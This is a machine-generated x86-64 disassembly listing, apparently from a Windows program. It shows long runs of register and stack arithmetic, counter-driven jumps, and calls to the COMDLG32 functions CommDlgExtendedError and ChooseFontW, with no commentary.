mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x135]
add eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
mov eax, dword [rsp + 0x2988]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4da0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
add eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb28]
shl eax, cl
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4f78]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4f90]
movzx ecx, al
mov rax, qword [rsp + 0x4ee8]
shr rax, cl
mov qword [rsp + 0x4de0], rax
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [0x1401a0008]
xor eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2abc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x29ec], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb1c], ax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0x4dd8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x131]
add eax, ecx
mov byte [rsp + 0x137], al
movsx eax, word [rsp + 0xb34]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4f88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e98]
mov rcx, qword [rsp + 0x4b58]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4d78], rax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [0x1401c2a34]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x135]
movzx ecx, byte [rsp + 0x5f]
or eax, ecx
mov byte [rsp + 0x136], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb18]
sar eax, cl
mov word [rsp + 0xb38], ax
movsx eax, word [rsp + 0xb20]
movsx ecx, word [0x1401c2a38]
xor eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [rsp + 0x136], al
mov eax, dword [rsp + 0x29c8]
add eax, 0xf
mov dword [rsp + 0x29c8], eax
mov eax, dword [rsp + 0x2af8]
mov ecx, dword [rsp + 0x29f8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5040]
mov rcx, qword [rsp + 0x4f90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4ff8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2988]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
movzx eax, word [rsp + 0xb38]
movzx ecx, word [rsp + 0xb18]
sub eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x138], al
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5038]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb2c], ax
cmp dword [rsp + 0x29c8], 0x8a75
jne 0x14005eaa4
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4b58]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4f78]
mov rdx, qword [rsp + 0x4d78]
xor rdx, rcx
mov rcx, rdx
cmp rax, rcx
jle 0x14005f094
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2974], eax
movsx eax, word [rsp + 0xb34]
movsx ecx, word [rsp + 0xb1c]
sar eax, cl
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a48]
shl eax, cl
mov rcx, qword [rsp + 0x4ff8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2abc]
mov ecx, dword [rsp + 0x29d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [str.3__nS_G], al
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d78]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b58], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x136]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x135], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x137]
sub eax, ecx
mov byte [rsp + 0x98], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb28]
sub eax, ecx
mov word [rsp + 0xb20], ax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x29d0]
shl eax, cl
mov dword [0x1401c2a34], eax
mov eax, dword [rsp + 0x28ac]
mov rcx, qword [rsp + 0x4f88]
mov qword [rsp + 0x5048], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5048]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x2988], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
xor eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x5010]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
or eax, ecx
mov byte [rsp + 0x133], al
movsx eax, byte [rsp + 0x134]
movsx ecx, byte [rsp + 0x98]
sub eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb34]
sub eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x28ac], eax
mov eax, dword [rsp + 0x29f8]
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4d98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
add rcx, rax
mov rax, rcx
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb38]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x134]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb28]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov word [rcx], ax
mov rax, qword [rsp + 0x5038]
movzx eax, byte [rax]
mov rcx, qword [0x1401c3b20]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4de0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x4d98]
mov qword [rsp + 0x5050], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5050]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2af8]
mov ecx, dword [rsp + 0x2abc]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [str.3__nS_G], al
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x5030]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4e30]
mov byte [rcx], al
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb24]
sub eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x5030]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x135]
sub eax, ecx
mov byte [rsp + 0x133], al
movsx eax, word [rsp + 0xb28]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b0c]
sub eax, 0x23
mov dword [rsp + 0x2b0c], eax
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb20]
add eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee8]
mov rcx, qword [rsp + 0x4f90]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e38]
mov ecx, dword [rsp + 0x2a48]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
cmp dword [rsp + 0x2b0c], 0xc5b4
ja 0x14005f0d0
movzx eax, byte [rsp + 0x134]
mov byte [rsp + 0x2b14], al
cmp byte [rsp + 0x2b14], 0x2e
je 0x14005f57f
jmp 0x14005f60d
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov rcx, qword [0x1401c3b20]
mov byte [rcx], al
movsx eax, word [rsp + 0xb20]
movsx ecx, word [rsp + 0xb30]
xor eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x132]
sar eax, cl
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
lea rcx, [rsp + 0x15570]
call qword [sym.imp.COMDLG32.dll_ChooseFontW]
mov dword [rsp + 0x2a04], eax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
or eax, ecx
mov word [rsp + 0xb18], ax
call fcn.140149dc0
nop
jmp 0x14005f6b4
lea rax, [rsp + 0x136]
mov qword [rsp + 0x5058], rax
movzx eax, word [rsp + 0xb18]
mov rcx, qword [rsp + 0x5018]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xb2c], ax
lea rax, [rsp + 0x29ec]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4e98]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4f88]
mov ecx, dword [rsp + 0x2988]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2980], eax
lea rax, [rsp + 0x4d78]
mov qword [0x1401c3b28], rax
lea rax, [rsp + 0x4f90]
mov qword [rsp + 0x5068], rax
lea rax, [rsp + 0x135]
mov qword [rsp + 0x5070], rax
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
movzx ecx, word [rsp + 0xb18]
movzx edx, word [rsp + 0xb38]
sub ecx, edx
cmp eax, ecx
je 0x14005f72d
movsx eax, word [rsp + 0xb30]
movsx ecx, word [rsp + 0xb34]
add eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb2c], ax
mov rax, qword [rsp + 0x4f00]
movzx ecx, word [rax]
call fcn.14014a980
nop
movsx eax, byte [rsp + 0x138]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x138]
sub eax, ecx
mov byte [rsp + 0x132], al
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2980]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2a48], eax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x98]
sar eax, cl
mov byte [0x1401c3b18], al
mov eax, dword [0x1401c2a34]
mov ecx, dword [rsp + 0x29ec]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4b58]
mov rcx, qword [rsp + 0x4e70]
mov qword [rsp + 0x5078], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4d98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
movzx eax, word [rsp + 0xb24]
movzx ecx, word [rsp + 0xb38]
and eax, ecx
mov rcx, qword [rsp + 0x4eb8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5f]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov byte [rsp + 0x135], al
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb28], ax
mov rax, qword [rsp + 0x5000]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4f88]
mov ecx, dword [rsp + 0x2974]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4f88]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4fb0]
mov ecx, dword [rsp + 0x29ec]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2a44], eax
mov rax, qword [rsp + 0x4eb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5058]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x136], al
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4d90]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f00]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2a48]
shr eax, cl
mov rcx, qword [rsp + 0x4f70]
mov dword [rcx], eax
movsx eax, word [0x1401c2a38]
movsx ecx, word [rsp + 0xb30]
and eax, ecx
mov word [0x1401c2a30], ax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x4b58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x5060]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29d0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb30], ax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4df0]
mov byte [rcx], al
mov rax, qword [0x1401c3b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
sub eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x4db0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e30]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x5010]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x136], al
mov rax, qword [rsp + 0x5068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4d88]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2ab0]
add eax, 0x5d
mov dword [rsp + 0x2ab0], eax
mov rax, qword [rsp + 0x4f78]
mov rcx, qword [rsp + 0x4e98]
mov qword [rsp + 0x5080], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5080]
mov rax, qword [rax]
sar rax, cl
mov qword [0x1401c3b10], rax
mov rax, qword [rsp + 0x4ef0]
mov ecx, dword [rsp + 0x29f8]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x5060]
mov dword [rcx], eax
cmp dword [rsp + 0x2ab0], 0x46f1
jne 0x14005f74c
mov rax, qword [rsp + 0x4ff8]
mov rcx, qword [rsp + 0x4f88]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2988], eax
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb24]
shl eax, cl
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x4df0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x138], al
movsx eax, word [rsp + 0xb1c]
movsx ecx, word [rsp + 0xb20]
and eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, byte [rsp + 0x136]
mov rcx, qword [rsp + 0x4dd8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x133], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x136]
add eax, ecx
mov rcx, qword [rsp + 0x5070]
mov byte [rcx], al
mov eax, dword [rsp + 0x28ac]
mov ecx, dword [rsp + 0x2988]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e38]
mov dword [rcx], eax
mov eax, dword [rsp + 0x29ec]
mov ecx, dword [rsp + 0x2af8]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c2a34], eax
mov rax, qword [rsp + 0x5068]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4de0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4e70]
mov rcx, qword [rsp + 0x4d98]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b58], rax
movsx eax, byte [rsp + 0x132]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4e88]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb34], ax
mov rax, qword [rsp + 0x5018]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb2c]
or eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov eax, dword [rsp + 0x2ac8]
sub eax, 0xca
mov dword [rsp + 0x2ac8], eax
mov rax, qword [rsp + 0x4df0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d90]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x133]
movzx ecx, byte [rsp + 0x135]
sar eax, cl
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x4ef0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2abc]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2af8], eax
mov rax, qword [rsp + 0x4e98]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b58]
add rcx, rax
mov rax, rcx
mov rcx, qword [0x1401c3b28]
mov qword [rcx], rax
mov rax, qword [rsp + 0x5000]
mov rcx, qword [rsp + 0x4ee8]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x5000]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4d98]
mov rcx, qword [rsp + 0x4d78]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4b58], rax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb34], ax
movzx eax, word [rsp + 0xb18]
movzx ecx, word [rsp + 0xb2c]
add eax, ecx
mov word [rsp + 0xb24], ax
movsx eax, byte [rsp + 0x138]
movsx ecx, byte [rsp + 0x134]
add eax, ecx
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
movzx eax, word [rsp + 0xb2c]
movzx ecx, word [rsp + 0xb38]
sub eax, ecx
mov rcx, qword [rsp + 0x4eb0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4ef8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
add eax, ecx
mov byte [rsp + 0x5f], al
mov rax, qword [rsp + 0x5068]
mov rcx, qword [rsp + 0x4d70]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5068]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x29ec]
sub ecx, eax
mov eax, ecx
mov dword [0x1401c2a34], eax
mov rax, qword [rsp + 0x4d78]
mov rcx, qword [rsp + 0x4b58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x4f70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2974]
shl eax, cl
mov dword [rsp + 0x2980], eax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4e30]
movzx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ef8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb38]
mov rcx, qword [rsp + 0x4db0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x5018]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e50]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x137]
sar eax, cl
mov rcx, qword [rsp + 0x4e50]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4f68]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb1c]
add eax, ecx
mov rcx, qword [rsp + 0x4e88]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f78]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4b58], rax
mov rax, qword [rsp + 0x4d90]
movsx eax, byte [rax]
movsx ecx, byte [0x1401c3b18]
and eax, ecx
mov byte [str.3__nS_G], al
mov eax, dword [rsp + 0x29f8]
mov ecx, dword [rsp + 0x29d0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e38]
mov rcx, qword [rsp + 0x4ff8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2988], eax
movsx eax, byte [rsp + 0x98]
mov rcx, qword [rsp + 0x4e50]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x131], al
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x5f]
add eax, ecx
mov byte [rsp + 0x133], al
movzx eax, word [rsp + 0xb24]
mov rcx, qword [rsp + 0x4eb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb18], ax
mov rax, qword [rsp + 0x4e88]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb30]
sar eax, cl
mov rcx, qword [rsp + 0x4f00]
mov word [rcx], ax
mov rax, qword [rsp + 0x4da0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x133]
xor eax, ecx
mov byte [rsp + 0x135], al
mov rax, qword [rsp + 0x5068]
mov rcx, qword [rsp + 0x4d88]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4d70], rax
mov rax, qword [rsp + 0x4ef0]
